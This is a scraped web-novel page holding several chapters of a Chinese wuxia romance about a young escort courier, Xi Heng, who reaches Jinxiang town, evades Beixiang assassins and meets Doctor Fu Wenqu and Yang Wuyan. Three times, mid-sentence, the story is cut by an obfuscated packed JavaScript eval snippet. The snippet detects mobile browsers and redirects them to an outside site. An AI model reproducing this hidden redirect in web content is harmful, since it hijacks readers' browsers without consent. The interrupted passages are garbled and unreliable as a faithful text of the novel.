奚恒处理好他们,又抓着撑杆回到船中。
“快些走吧。”
“欸!”
船夫忙接过竹竿,推着船往北去,嘴里不忘奉承道:“姑娘是去参加舜华大会的吧,身手这般了得,想必能一举夺得彩头!”
槿乡镇舜华大会办得盛大,这些时日过河的青年尤其多,船翁来往两岸见了不少,自然也听说过那些人口中的“彩头”。
“算是吧……”奚恒不敢说彩头如今就揣在她怀里,“如今武林英豪集聚于此,哪轮得到我一个跑腿送货的争头名。”
船尾的聂云笑容和煦:“姑娘过谦了,在下瞧着你方才江心那几招,已算是青年一代拔尖的了。”
舜华大会历来都是些年轻人的比武场,如今槿乡镇就算豪侠无数,可也没有几个宗师敢厚着脸皮下场和孩子们抢彩头。
行走江湖最重要的就是脸面,命可以不要,脸不能丢。
“不敢……不敢……”
奚恒正谦虚着,又忽地眼睛一亮,看向聂云道:“你们也是去参加舜华大会的?”
“只是路过。”聂云摇头道,“沿岸一路听闻,此次舜华会办得隆重,便随……我家公子来看看。”
听见聂云称萧愈安为“我家公子”,奚恒神情古怪地歪了歪头。
面前人一身上好的绫罗,天青衣摆上银纹繁复,腰间玉带做工精良,明显不是家仆、随侍,倒像是官家少爷。
这样的人称萧愈安为“公子”,那……
“说起来,还不知姑娘名讳。”
见奚恒不语,聂云像是半点没察觉异常,反问道:“方才听姑娘说‘跑腿’?”
“哦……”奚恒回过神来,“我叫林大勇,云奎镖局的镖师。”
船中闭目养神的江平再次睁开了眼。
“林大勇……”聂云唇角抽了抽,“倒是别致。”
对于聂云的反应,奚恒早已见怪不怪:“我师父说贱名好养活。”
当年奚恒被老窦从山沟里捡到时,手上正抓着半条猪腿,而和她一般高的野猪正躺在不远处奄奄一息。
“此女大勇也。”
这是老窦对她说的第一句话,阴阳差错也成了她的名字。
“云奎镖局?”倒是外边的船夫先反应过来,“那不是这回给杨家送彩头的镖局嘛?”
奚恒挑了挑眉,而后无奈笑道:“往年局里送货都全程保密,这一遭不知怎的,竟搞得天下皆知了。”
那船翁眼睛发亮,回头问道:“那那彩头现下在姑娘身上?”
“哪能啊……”
奚恒心神一动,面上仍不动声色:“这么重要的东西交给我一个小姑娘去送,镖头们也不放心啊。”
一旁的江平瞟了眼奚恒通红的耳尖。
奚恒没注意到边上人的视线,继续道:“也不知道这彩头到底有什么特别,这么多人盯着。”
她一路奔波,吃饭休息的时间都少有,那些茶楼酒馆的传闻也只听了些零星。
“你还是云奎镖局的,竟不知道?”船翁道,“都说这彩头是代月明遗物。”
“代月明?”奚恒霎时惊得睁大眼,“是我想到的那个代月明吗?”
船翁摇摇头,杵着撑杆又送一程:“天下还有几个代月明哟——”
奚恒嘴唇都颤了颤,脑袋“砰”地一声往船壁靠去,顿觉怀中之物滚烫得可怕。
死老窦,暗害她。
说是最后一镖运完就升镖头,接果让她送这么个烫手山芋。
难怪那些人都跟饿死鬼投胎一样甩都甩不掉。
岸边嘈杂人声由远及近,叫卖呼喝不断,就连空气也跟着燥热起来,船夫吆喝着收回撑杆,一把将缆绳甩出。
终于到岸了。
大半个月流浪一样的日子终于结束,奚恒松了口气,将草帽扶正,抓着刀柄准备下船。
“多谢了!大爷。”
奚恒笑眼盈盈,心情愉悦到极点。
可这抹愉悦转瞬而逝。
“砰!”
一声闷响,小小一顶乌篷船顷刻四分五裂。
奚恒一惊,眼疾手快捞起船翁往岸上送去。
“咚!”
身后江面又一声响。
“有人落水了!”
奚恒不作他想,放稳船翁后便跃入江去。
“咚!”
聂云看着江上又激起一簇水花,水下一灰一白身影交叠在一起,默默收回自己被江平拍红的手。
……
“咕咚——咕咚……”
奚恒怕水,从小就怕,老窦逼着她在湖里游了三百个来回还是怕。
但她记性不好,连饮两大口单曲江佳酿后才想起这一茬来。
“唔……”
她逼着自己冷静下来,憋着一口气,抓住面前人衣襟往上提。
不对……
奚恒隔着江水,望着面前人冷淡的眼神,心里那抹该死的熟悉感又跑了回来。
但她现在来不及想这些,拎着手里的人往岸上游。
“唔……”
江水裹挟着身体,压迫着她的胸腔,奚恒的手越抓越紧,卯足了劲往上划。
她要憋不住了。
手边一点动静都没有,奚恒以为江平晕过去了,怕他下沉,抬手又将他往自己怀里拽了拽。
“唔唔……唔唔……”
坚持住啊,马上上岸了……
而一旁的江平,此刻正任由奚恒将自己搂在怀里,手还不动声色圈在她的腰上。
哪有半点不适?
墨玉般的瞳仁仔细打量着面前人通红的脸,目光停留在她灰蒙的双眼上,而后又缓缓滑下鼻梁,转而又盯上唇。
这么多年,倒是张开了不少。
江平环着奚恒,深黑的眼底闪过些许恶劣,带着她往下沉。
带着一个人终究难浮上去,奚恒力未竭而气先尽,她眼前发黑,死死锢住江平,生怕他滑下去了。
江平的衣袍宽大飘逸,雪白的绫纱飘在江中,与奚恒的衣袖纠缠不清。
二人几乎是贴在一起浮在水中,像是不知从哪来的精怪正死死缠住游历江湖的少侠,要将她拖进江底拆吞入腹。
可奚恒对这一切毫无所觉,江面越来越远了,好像怎么游也游不上去。
她拼命地往上挣扎,在心底骂天骂地,就连单曲江的河神都被她牵连个祖宗十八代,也没怀疑是身边的茶花精在害她。
奚恒动作越来越小,只觉得脑袋嗡嗡作响,看着江面越来越远的太阳,心里越发不甘。
完了……玩脱了……
前面那么多杀手都没伤到她一点,临到上岸救个人把她害死了。
奚恒抱着怀里的江平舍不得松手,面上浮上一抹悲戚。
也罢,能和这等美人死在一起,也算没白活,往后有人将她的死讯传回去,高低也是为了英雄救美而死。
思及此处,奚恒转过头想再看一看江平那张生得人神共愤的脸。
雪肌玉骨、瞳眸深邃,当真是……
等等……瞳眸?
他怎么睁着眼睛?
憋气太久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956692|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,奚恒脑子都转不动了,盯着江平的脸出神。
直到面前人越贴越近,二人鼻尖相触,冰凉的唇吻了上来。
“唔!!!”
柔软的触感传来,一口气渡进奚恒嘴里。
她顿时明白怎么回事了。
“唔!唔唔唔唔!”
奚恒怒不可遏,张嘴欲骂,江水趁势灌入鼻腔喉头,逼着她连呛数口水。
江平脸色一变,抓着奚恒往岸上游去。
肺部似被火烧,奚恒眼冒金星,死死抓住手中绫罗,生怕江平把她丢下了。
“唔……”
你小子等着……
“唔……”
上岸非刀了你……
“唔……”
姑奶奶我一世英名……
“唔……”
竟被暗算了……
“哗——”
就在奚恒要晕过去的一刹那,二人浮出了江面。
聂云伸手将江平拉上岸,看着挂在江平脖子上的人不语。
这好像才是刚刚下去救人的那个吧?
甫一上岸,奚恒松开锁在江平喉咙上的手。
她摔在地上又挣扎着站起,连气都没喘匀就指着江平:“你……你……”
奚恒半晌说不出话来,喉咙火烧一样的疼,她憋了半晌的气,感觉脑子里也进了水一般,乱成浆糊。
她要说什么来着?死骗子?坏妖精?吕洞宾的狗?
……还是登徒子?
不管了,先骂了再说。
奚恒深吸口气,正准备开口,不料被对面抢了先。
“姑娘若是想谢我,倒不必着急。”
江平面色如常,仿佛方才水下什么都没发生一般。
他目光意味深长地扫过奚恒的唇角:“在下举手之劳。”
“……”
奚恒到嘴边的话全都被堵了回去,喉间反上的江水呛得她连连咳嗽。
“我谢谢你?”
她怒极反笑,抬手欲抽刀却摸了一空,只有可怜的刀鞘悬在腰后。
……
她盯着江平手里提着的长刀陷入了沉默。
看着奚恒的视线,江平似是才发现自己手里多了柄刀。
他将刀递给聂云,示意他传给奚恒。
“是了,见姑娘落水,我顺手便救了,不必感谢。”
“我落水?”奚恒一瞬间都要怀疑自己的记忆了,“我那是去救……”
话说到一半又卡在喉咙里。
是了,人家又没说自己不会水,终归是自己要下去救人的。
奚恒脸色顿时如吃了黄连般难看,心道下次碰到这种人,她再也不多管闲事了。
聂云看了眼江平,又看了眼杀气几乎凝成实质的奚恒,最终还是硬着头皮走过去。
他将刀横过,双手奉上。
“萧愈安是吧。”
奚恒皮笑肉不笑,抬手取过刀:“我记住你了。”
江平颔首,仪态端庄,纵使浑身透湿也半点不损风度,飘飘然如高岭之花:“但愿你能永远记住。”
奚恒以为他是在挑衅,顿时气息不平。
可远处忽然传来打杀声响,她强忍着怒火将刀归回鞘中。
现在不是纠缠的时候。
她死死盯着江平的脸,要将他脸上的每一个细节都录入脑海里,咬着牙恶狠狠道:“放心,我会的。”
语罢,她抬手摸入怀中,想取了银子给船翁当过河费。
不料银子没摸到,反触及一角湿透的信封。
刹那间,仿若一盆冰水从头顶浇到脚下,奚恒的心凉了个彻底。
5. 问渠
这算是……运镖失败了吗?
奚恒脸色惨白,手从衣襟抽出,大脑飞速运转。
不……还没到时间,一定还有办法的。
一旁的船翁上前道:“小姑娘……这船费……”
虽然这姑娘方才救了他,但如今他赖以生存的工具被炸得四分五裂,家中还有小儿指望着他养家糊口,这钱能多要一点是一点。
奚恒定在原地,没有回复。
船翁斟酌着欲再开口。
这时奚恒转头看了眼远处。
船夫心下疑惑,也追随着她的目光望去。
长街尽头宝塔屹立,两侧商铺如画卷铺展而开,各家旌旗飘扬、叫卖不断,簪花烈酒、刀剑绫罗,满目商品琳琅,人潮鼎沸,行人摩肩擦踵来往于渡口,好不热闹。
船夫会心一笑:“这槿乡镇啊,立于齐天城脊之下,受朝廷特许,西倚十万大山与苗依接壤,北接额衍高原与北相互市往来,纵是没有舜华大会,也是热闹得很呐。”
奚恒仍然不动,只静静观察着街上行人。
船夫极为热情,想给奚恒介绍槿乡。
不料身旁风动,奚恒拔腿就跑。
“欸!”
船夫登时满脸通红,抬腿欲追,可奚恒早已消失在了街角,哪有踪影。
他气急败坏:“……个杀千刀的倒霉玩意!只听说过吃霸王餐,没听说过坐霸王舟的!”
可他还没骂够,身后搬运的几名纤夫忽地都放下手中货物,直奔奚恒离开的方向而去。
他们疾步如风,将船夫未出口的叫骂都撞断在了喉咙里。
原本街上正饮酒休憩的几人也都互换了个眼色,站起身,往奚恒消失的巷子靠。
这忽然的变动,一时竟有数十人跟上了奚恒!
而此刻钻入巷子的奚恒,正蹲在墙边两人高的杂物堆上,静静看着这些尾随来的人。
“上岸了还要追。”她站起身,“你们是不是失心疯了?”
槿乡镇是军事重镇,历来有军队镇守,虽说因着齐天城脊的缘故,此地已经三十年不起战火,但各国商贩来往人多眼杂,朝廷怕生变故,仍留有少量官兵看守。
这些人进了官府地界还要生事,是活不起了想吃牢饭吗?
可巷中追随而来的人显然不在乎这些,其中一人启唇吐出两字,他们便向奚恒扑了过来。
奚恒皱眉,足尖点着石缸后仰,在他们靠近自己时忽然用力,飞身而起。
“哐当!哐当!”
数声巨响,杂物堆倾塌,废弃炊具倾泄而下,竹竿草垛滚落一地,将巷口封死。
奚恒翻身落地,双眼微眯,深深看了眼方才下令的高个女人。
她说的不是齐语。
“额衍语?”
又是北相人,单曲江上有也就罢了,怎的槿乡镇内也有北相杀手活动?
可现实容不得奚恒多想,她方站定,那北相女人便又下令。
“追上去,不留活口。”
刚才被砸倒的人都爬起来,兵刃抽出,欲围上奚恒。
“呼——”
奚恒运气丹田,抬手抓住了身旁的石缸。
在敌人围上来的那一刻,她腰背绷紧,一个旋带竟将及肩高的的石缸拖拽着甩起,向巷口砸去。
“轰——”
石缸重数百斤,如陨石般撞向来人,那北相女人神色大变,厉声呼唤属下躲开。
可哪有那么容易?
为首三人皆被砸得昏迷不醒,石缸摔落翻滚,将青砖路面砸得凹陷下去。
巷口的杀手皆狼狈地躲开,直到石缸滚出巷中,在街上引起骚乱。
渡口处的船夫张了张嘴,看着那被几名壮汉合力才堪堪停住的石缸惊叹:“这些都是什么人……”
聂云看着巷口皱眉,他看了眼江平,见他无动于衷后,从怀里取了银子递给船夫:“这是船费,那位姑娘的也算在其中。”
整整两锭银元宝落入手中,船夫顿时眉开眼笑。
这些钱,不说当船费,就是供他再买两只船都绰绰有余。
一时山回路转、否极泰来,他哈着腰道:“多谢二位公子,祝二位贵人常福。”
吉祥话说出,身前没人回应,待船夫抬头,却发现二人已经走远了。
而巷中,待杀手们喘息着回神,奚恒早已翻过高墙,只留了个背影衣角给他们。
为首的女人面色铁青:“追。”
翻出小巷后,奚恒片刻不停地往西边跑去。
到底是在镇上,随时都有官府巡逻,那些北相杀手不怕死她还嫌麻烦呢。
怀里的彩头泡了水已经够让她头疼的了。
大街上动刀,惊动了官府还不知道要出多大乱子。
奚恒是不想打,一路息事宁人,小心翼翼地翻越过街巷,不愿闹出太大动静。
可她背后的杀手却不这么想。
“轰——”
一阵火龙升天,不知谁家备的烟花摔进了火堆里,金灿灿的星点飞溅了一地。
街上铺设的红绸被点燃,吓得一旁的孩子哇哇大哭,大人们忙着灭火,却又被追着奚恒的杀手撞倒。
霎时街上人仰马翻,那杀手嫌红绸碍事,一把扯下甩过,牵得周围数丈的竹架都坍塌。
幼童被埋进红绸堆里,哭声越发尖锐,一时街头混乱不堪。
奚恒回头,看着半空中越升越高的焰火,一时惊叹。
这都春末了,槿乡镇居然还有烟花放。
可就是这片刻失神,她脚下一空,从房顶摔了下去。
“扑通!”
四面八方的水涌进耳鼻,奚恒径直摔进缸里,挣扎着欲起身。
这是谁家这么懒!宁可放个这么大的缸在底下接雨也不肯把房顶修一修!
奚恒双眼紧闭,手胡乱挥着想抓住缸壁,却被人一巴掌拍了回去。
“啪!”
奚恒一时发懵,捂着手背睁开了眼。
可还来不及让她看清打人的是谁,便眼前一黑。
缸被那人盖了起来。
奚恒方要挣扎,便被外边的声音打断。
“我这缸可不菲,你要再大发神威给打裂了,走十次镖也赔不起。”
男子声音清冷,纵是隔着厚重的水缸奚恒也能想象到外边人的臭脸。
她静下来:“原来是你啊,傅大夫,吓我一跳……”
这声音她太熟悉了,傅问渠,云奎镖局七十二客卿之一,当年投靠云奎还是老窦带着她亲自接引的。
周身一片漆黑,奚恒笑着想寒暄两句:“好久不见啊……”
“闭嘴。”
“……”
奚恒笑容僵在脸上,默默蹲回了水中。
见缸中安静下来,傅问渠这才抓着竹竿将屋顶的木板顶回去。
“哐——”
门外杀手闯入,带着一身灰尘侵入医馆。
“咳……咳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956693|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”
傅问渠身有旧疾,见不得灰,立时被呛得连连咳嗽。
那两名杀手见他病怏怏的模样顿时皱起了眉头:“有没有见过一个小丫头?”
这些人口音极重,讲话生硬,行为上更是放肆无礼。
傅问渠愠怒道:“滚出去。”
那两人没料到傅问渠会是这个反应,他们对视一番后,又在堂中扫视一圈,确定没人后才退了出去。
听着室内安静下来,奚恒起身,欲翻开头顶木板。
“让你出来了吗?”
奚恒又蹲了下去,手中百无聊赖地拨弄着掌下水花,发出“哗啦啦”的声响。
“再有动静我不介意给你下点药进去。”
奚恒收回手,老老实实在缸中泡澡。
不知过了多久,眼前的木板终于移开,奚恒眼睛一亮,就要起身。
“乓!”
木质葫芦砸到头上,疼的奚恒跌坐回去。
她瞪圆了眼睛,怒视傅问渠严肃的脸。
眼前人单手挽着袖口,在缸中取了瓢水泼在地面,对奚恒的无声控诉无动于衷。
奚恒正想开口,却听门外脚步声响。
这是又有人来了。
她蹲坐回去,听着缸外的动静。
“哎哟……傅大夫……”
两名官吏推开门,对着傅问渠神情谄媚:“我等又来替大人取药了。”
傅问渠点头,放下手中的葫芦瓢便往柜台后去。
“一日两副,喝三日停两日。”他将药包取出置于柜上,“这副药喝完便能大好了。”
那两名官吏连连点头:“大人这病,多亏了您哟……”
傅问渠神情淡漠,回到水缸边舀水浇地,摆摆手,没回那两人的客套话,示意赶客。
这傅大夫的脾气他们是早有了解,撞了冷脸也不恼。
只是这次,二人却没着急走。
“傅大夫,您今日可见过一小贼?”其中一人试探问道,“个子高瘦,是个女……”
“没有。”
怎料傅问渠直接回道:“后院倒是存了两具干尸,你们若需要,便带回去。”
那人顿时神色一变,连连推拒:“不敢不敢……”
另一人解释道:“那小贼闯入槿乡镇,打砸了不少东西,兄弟们正愁着抓她呢,您若看到……”
说着,他眼珠轱辘一转,已经将医馆里里外外扫视个遍,目光掠过傅问渠身旁水缸,最终定在侧房垂下的门帘上。
“哗——”
傅问渠又是一瓢水泼出,洒在二人脚边上。
水珠溅起,二人连连后躲,被沾湿下摆。
可傅问渠脸上没有丝毫歉意,回头继续舀水。
拒绝的意味已经够明显了。
那官吏神色一僵,顿了顿,还是厚着脸皮往门帘后望去:“您这侧屋可否……”
“叽叽喳喳没完了!”
还不等傅问渠说话,侧屋里忽然传来极为娇俏的女声:“拿了药就滚!别在这扰人清静!”
侧屋的人极不客气,可那两名官吏听了里边的声音后却神情大变,对着门帘后的人俯首作揖,毕恭毕敬。
奚恒也瞪大了眼睛望向缸边的傅问渠。
她双眼滴溜着直转,无声传递着疑问。
你这医馆里还有人?
傅问渠面无表情地看了眼缸里。
像是在说:这里是医馆,没人才奇怪。
6. 三娘
布料摩擦声响,布帘被人撩起,又一清丽女声响起:“姑娘说了,滚。”
“这……”
那俩官吏互换眼神,又看了眼一脸事不关己的傅问渠,最终还是低下头:“卑职等告退。”
见那两人就这般容易被打发走,奚恒惊讶着看向傅问渠。
后者却已经收了瓢回到柜台后。
“哗——”
奚恒撑着手一跃,落地带出一片水花。
见她摇着头欲甩水,傅问渠眼疾手快地扔了块布到她身上:“别像条狗一样。”
奚恒被布砸得脑袋一歪。
她动作一滞,却也没同傅问渠计较,裹着布料望侧屋探头:“这屋中是何人呐……”
傅问渠取了算盘,拨弄两声,没有回答奚恒。
布帘又被撩起,一张极为清秀的脸露了出来。
女子发梳双髻,一丝不苟地盘在脑袋两侧,她身着青衣,布料讲究却不繁复,只低眉顺眼地将布帘卷好侧过身去。
奚恒歪歪脑袋,这才发现她身后还有一人。
女子手如珠玉,穴位上扎有银针,关节上艾柱被极细的丝线悬吊着,烟如流水滑过她手背。
方位限制,奚恒看不清她的脸,只能望见藕节一般的臂膀,还有她膝上重叠的织花襦裙。
此类衣裙早年多在北相流行,南齐女子偏爱曲裾长袍,但近年气候不好,夏日越来越长,云织襦裙做工精巧,清凉的同时又兼具外观,这些年也渐渐推广起来,可云织金贵,一般也只有大户人家才穿得上。
艾柱徐徐燃尽,青衣女子回身,捧着手替女子取下银针。
“我叫杨晤言,表字问心。”
似是久坐终于解放,杨晤言抬起手伸了个极大的懒腰:“他们都唤我杨三娘。”
她手扶门框探身而出,步入光影之下,一身落落大方,面若银盘、肤如白玉,身形圆润却姿态轻盈,明眸善睐,一双杏眼含笑望向奚恒:“你也是云奎镖局的镖师?”
奚恒呆了呆,错愕着点了点头,转而又反应过来,转头看向柜台后埋头苦算的人。
什么叫“也”?
“杨三娘子与我熟识。”傅问渠拨弄算珠,“不算外人。”
“我知道你,林大勇,傅大夫没少提过你。”
杨晤言打量一下奚恒的身形外貌,而后颇为自来熟道:“这回舜华会彩头就是你送的?”
说起彩头,奚恒抓着布料的手一紧。
她目光在杨晤言和傅问渠身上来回游移,半晌没说话。
见奚恒安静,傅问渠暗道不妙。
他猛地抬起头,警觉道:“怎么了?”
千万别是彩头出事了。
奚恒抿了抿唇,将怀里湿透的信封取出,“啪”一声甩到柜台上。
水珠溅到傅问渠脸上,他看着那信封瞳孔一缩。
半晌,才僵硬着问道:“你方才怎么不说?”
奚恒愣了愣:“说什么?”
见柜台后的人面色铁青,她才反应过来了什么。
她眉眼一弯,灰蒙的眼下尽是顽劣的笑意。
“哎……你说这怎么办哟——”
奚恒摇头晃脑,倚在柜台边上,调侃道:“一定要让我蹲那破缸里,这下好了,泡水了……”
一旁的杨晤言听了此话,顿时惊呼一声,看着桌面那封信件捂着唇道:“这就是那代……”
“是不是代月明遗物我不知道。”奚恒摇了摇头,“北相分舵的人交到我手里的,确是杨家给的彩头没错……”
说到这里,奚恒话音一顿,又回头看向杨晤言。
姓杨……
奚恒眉心都跟着一跳,心道不要这么巧。
她试探问道:“杨三娘子是……哪个‘杨’?”
“杨槿,杨舜华的杨。”这次是傅问渠接话了。
他脸色难看道:“这位是槿乡镇统谈邵宇谈大人的千金。”
“我与那老匹夫早已分家。”
杨晤言见奚恒神色有变,宽慰道:“至于这些天的传言,你也不必当真,我们与北相那家……从无瓜葛。”
若彩头真出了岔子,她也不会声张。
傅问渠看向奚恒:“你现在打算怎么办?就这么送到停机楼?”
“当然不。”
奚恒摇摇头,神秘一笑:“你也不用担心,我自有妙招。”
来的路上她早已想好计划。
傅问渠眉心都跟着跳了跳,狐疑地看了眼奚恒。
这丫头一向鬼精,动了脑子从来没有好事。
他问道:“你想干嘛?”
“这你不用管。”
奚恒倚着柜台,戳了戳信件:“只是我需得在你这暂住十日。”
“不行。”
傅问渠想也不想就开口。
奚恒没想到他会拒绝:“为什么?”
“我这医馆现下可装不了你这大佛。”
傅问渠看了眼杨晤言,而后又望向奚恒,神情凝重道:“你来的一路上就没察觉出不对?”
奚恒怔了怔。
自她上岸,那些北相杀手一路追杀,闹出的动静可不小。
舜华大会在即,槿乡镇巡防应当更严才是,怎会任由他们沿街破坏?
除非……
“你是说,那些人和官府有关系?”奚恒难得严肃起来,“今日渡河,我撞见了‘青獠’的人。”
傅问渠眉心紧锁。
一旁的杨晤言不知他们在说什么:“青獠?那是什么?”
傅问渠和奚恒互换了个眼神,默契地没有说话。
若说为着代月明遗物,北相派杀手来追奚恒,这不奇怪。
可槿乡镇官府掺和进来,那就是另一回事了。
事关重大,也许另有隐情,而杨晤言又与槿乡镇官府有着千丝万缕的关系。
二人没有证据,选择缄口不言。
“一个杀手组织,已经十几年没有大的活动了。”傅问渠刻意隐去一些细节,“他们也对这彩头感兴趣,是我没想到的。”
杨晤言恍然道:“那看来此物确实不简单。”
“嗯……”
三人陷入了沉默,目光不约而同地锁在那泛黄的信封上。
会是什么呢?
难道真的是代月明遗物?
若真是,那生前一手建立北相谍网,又力推新政,促使北相壮大到能与齐国并肩的人物,会留下什么呢?
到底是什么秘辛,能担得起“天下一心”四个字?
一时光影都变得安静。
方才离开的青衣女子不知什么时候又回来了。
她推开门道:“姑娘,车到了。”
三人这才回神。
奚恒抬手将信件收入怀中:“也罢,既然这样,我就另寻住处。”
“不如……”一旁的杨晤言却开口。
她目光流转,提出邀请:“姑娘先到我那对付几日?”
奚恒愣住,又看向傅问渠。
“不必担心,我家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956694|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中人很少的!”
杨晤言笑容狡黠,毫不见外地抓起奚恒的手往外带:“你们镖师四处奔走,肯定见过不少新鲜!正好同我讲讲……”
奚恒开口,方要拒绝,就听身后的傅问渠道:“三娘子那,倒是个好去处。”
他像是恨不得将奚恒快些请走:“这槿乡官兵,可不敢去问心阁搜人。”
……
奚恒就这样稀里糊涂地被杨晤言带走了。
博山炉上青烟浮沉,荷香萦绕,车厢内饰锦绣,极尽奢华。
千里宝驹并排前行,车内几乎感觉不到半点颠簸。
满目雕玉镂金,奚恒的目光落在一旁的檀木案几上。
案上置玉盘,盘中却并没有糕点瓜果,一只木制蛟龙立在其中。
龙身不长,巴掌大点,犄角鬓须却勾勒齐全,就连背上鳞片也栩栩如生,工艺之精巧,奚恒见所未见。
像是察觉到奚恒的眼光,杨晤言抬手取过了木龙:“今日刚雕完的,还没上色。”
“这是你做的?”
奚恒抬起头,眼睛里不自觉带了几分钦佩:“我在万宝楼也没见过这么精巧的木雕。”
“这可不是木雕。”
看着奚恒的眼神,杨晤言唇角不自觉勾了勾,抬手在龙脊处一按。
“呼——”
一团指尖大的火焰从木龙鼻尖喷出,转瞬即逝。
奚恒瞪大了眼睛,看了眼杨晤言,又盯向木龙。
像是被奚恒的模样逗乐,杨晤言将手中木龙递了出去:“试试?”
奚恒接过,指尖扣在逆鳞处,轻轻下压。
“呼——”
又是一团火焰。
她抬起头问道:“这是什么木头?为什么不会发黑?”
木龙鼻尖孔洞极细,火焰穿出却没有留下半点痕迹。
“就是普通的桃木。”杨晤言道,“只不过我涂了些防火的药水。”
“防火?”
奚恒又按了下鳞片,火焰喷出,四爪稳定在手心,纹丝不动。
奚恒游历四方,不是没见过火器,只是那些火器大多笨重,使用繁琐,稍不注意还会伤及己身。
可眼前这木龙显然超出了她的认知范围。
轻巧便携,稳定性强,虽说火力也小,但若等比放大……
“是啊,我杨家的秘制药方。”杨晤言语气里带了些小得意,“我改良了一下。”
见奚恒盯着木龙发呆,她循循善诱道:“怎么样?想不想学?”
奚恒惊讶道:“你要教我?”
这种技术,别说放在槿乡镇了,就是整个南齐北相加起来也没有第二。
在奚恒看来,那什么狗屁代月明遗物,远比不上手上的木龙值得各大势力的争夺。
而面前的人居然问她想不想学?
这是能随便外传的吗?
而杨晤言显然有别的想法。
她问道:“我今年十六,你多大了?”
奚恒老实答道:“六月份就及笄了。”
杨晤言闻言,立马眉开眼笑:“我大你三月,做你姐姐怎么样?”
这消息来的太快,奚恒一时没反应过来:“什么?”
“你的身世我都听过了,无父无母,被你们总镖头捡回镖局养大。”
杨晤言神情认真,似是早有打算:“我母亲过世的早,也没有兄弟姐妹,你想不想入我杨氏族谱,当我义妹?”
奚恒张了张嘴,隐约觉得自己被傅问渠给卖了。
7. 汤浴
见奚恒面露难色,杨晤言道:“不必着急拒绝,先想一想……”
“你从傅问渠那打听到我,难道就没听过我的事迹?”奚恒哭笑不得。
杨氏自杨舜华起,百年的书香门第、勋贵世家,多她一个只怕要颜面扫地。
更何况她还……
私逃出京也就罢了,要是让人知道她给自己换了族谱……
奚恒不由得想起老爹那张黑脸,打了个冷颤。
见她哆嗦,杨晤言以为是落水着了凉,掀了帘对外唤道:“溯溪,还有多久到?”
奚恒这才知道那青衣女子的名字。
“回姑娘,再过两条街就是了。”溯溪道,“已经着人回去通传,让溯洄备好汤浴了。”
杨晤言这才点了点头,对奚恒道:“坚持一下,回去再让人给你熬上姜汤。”
奚恒一愣,恍惚间觉得,眼前这杨三娘子仿佛真的将自己当作亲人了。
分明二人素未谋面……
“我当然从傅问渠那听说了你……”杨晤言抿唇一笑,“虽然都不是什么好话。”
奚恒摸了摸鼻尖。
不怪傅问渠对她没好气,当年接应他回镖局时,她让人吃了不少苦头。
当时奚恒只顾着带傅问渠逃命,二人整整三日滴水未进。
她是武功高强、底子好,不眠不休一点问题都没有。
可傅问渠就惨了……
几十名杀手没能伤了他,逃命的路上几乎教奚恒折腾死。
奚恒尤记得带傅问渠见到老窦那日。
饿的只剩一口气的人硬生生回光返照,跳起来大骂老窦阴险,嘴上说收留,实际上让个疯子去摧残他。
还叫嚣着要把云奎的人都做成干尸。
打那之后奚恒便没独自运过活人镖了。
局里人送外号“二阎王”。
杨晤言轻声道:“我正看中你这点……”
奚恒回神:“什么?”
杨晤言摇摇头,看向车外街景岔开话题:“你可知今年槿乡镇为何格外热闹?”
“为了杨家彩头?”奚恒随口答道。
杨晤言轻笑,而后无奈道:“今晚是火龙节。”
“火龙节?”奚恒想起了沿街那些红绸烟花,“这是什么节日?”
“感恩丰收,纪念战火停息、齐天城脊得立……”杨晤言道,“请苗依祭司观星,在五年内最热夏日的前夕举办,邀北相乐工,二国共舞游街,以庆天下太平、海晏河清。”
这就解释了为何槿乡镇内这么多北相人了。
奚恒皱眉,还是觉得有古怪,她说不上是那些北相人古怪,还是这个节日古怪。
她问道:“这节日从什么时候开始的?我怎的从未听说过?”
杨晤言摇了摇头:“自我记事起就有了,五年一次,又多在槿乡镇内,是以不及舜华大会那般闻名。”
奚恒点点头,欲再说些什么,马车却忽然停下。
杨晤言以为到了,起身抚裙。
“张大人守在门前是有何事?”
车外的溯溪却率先开口。
杨晤言动作一顿,拦住欲起身的奚恒,坐下来听外边的动静。
外边中年男人的声音响起:“小的见过三娘子,今日火龙节,在下奉镇统大人的令,来请娘子回府吃团圆饭。”
听着外头的动静,杨晤言冷哼一声:“回什么府?我家在问心阁,可不敢高攀他谈大人的宴。”
车外声音一顿,男人赔笑道:“娘子什么话,大人就您一个女儿,再大的误会也抵不过血肉之亲啊,何必这般生分?”
“我怎么对他还轮不到你来置喙。”杨晤言眉眼处生出几分戾气,“说了不去,还不快滚!”
外头的人碰了钉子也不敢多说什么,只沉默了一会便离开了。
